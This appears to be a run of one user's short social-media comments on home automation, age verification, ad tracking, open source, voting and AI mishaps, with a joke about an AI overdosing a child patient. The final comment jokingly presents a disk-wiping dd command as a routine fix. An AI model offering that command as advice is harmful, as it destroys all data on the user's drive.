I use the term home automation loosely. Mostly I use it for initiating Tasker scripts at home with a single tap.

Tap to pay is whatever but I do use NFC for some home automatons.

https://opencollective.com/

As long as they have basic shit like NFC or wireless charging. One of the main reasons I stopped buying them. 2nd was the tablet sized screens.

Plenty of companies you already deal with already know who you are, thus how old you are. Cell carriers, ISPs, banks, stock brokerages, utility companies, and so on. It would be much more secure, done properly, for a service like this to provide a simple “yes/no” answer to the age question.

It’s already easy as fuck. Most parents just don’t bother. The mandates should be on ISPs and cell carriers to provide network-level filtering. I filter adult sites on my home network and there’s no getting around that without cracking the password on the service or factory resetting the gateway.

I’ve said it before and I’ll keep saying it. I have no problem with ads if you stop fucking tracking me. I will look at nearly every ad I get in the mail because I know there’s almost zero risk of it coming back to bite me.

Public comment shouldn’t be used as an opinion poll. It should give regulators and politicians a range of viewpoints they may not have previously considered.

Republicans used to be against governments that told businesses how they should be run. 🙄

I think it’s from proprietary OS makers that want to squash open source competition.

Easy enough to send threatening cease and desist letters to distro maintainers that may not have a penny in savings. This is a huge gift to Apple and Microsoft that probably had enough of Linux hoarding in on their market share.

They also have no greater sense of humanity. Do you accept your own defeat to save the human race or do you want the new society of cockroaches to admire your tenacity?

Back in my day all we needed were punch cards to destroy the world. Not this AI crap!

Isn’t that why we’re adopting AI? So the nurse can focus on more important things? 🤫

That MEMORY. md file won’t do shit if the AI doesn’t read it.

I give it 2 hours before it stops reading it until prompted again.

AI: I’m so sorry. You’re correct I violated protocol. I’ll make a note of this so it won’t happen again.

Nurse: You gave my 5 year old patient 5000cc of morphine!

You motherfucker I can barely breathe right now!

Kids don’t have lobbying firms with million dollar budgets.

This has happened all over there US already. Someone challenges your right to vote and it’s your job to prove your eligibility. Can’t show up to your appointment? No ID? No bills going to that address? Only have a PO Box address? No voting for you!

Sometime that code will expire and you need to alternate to sudo dd if=/dev/urandom of=/dev/sda bs=4M. Works most of the time for me.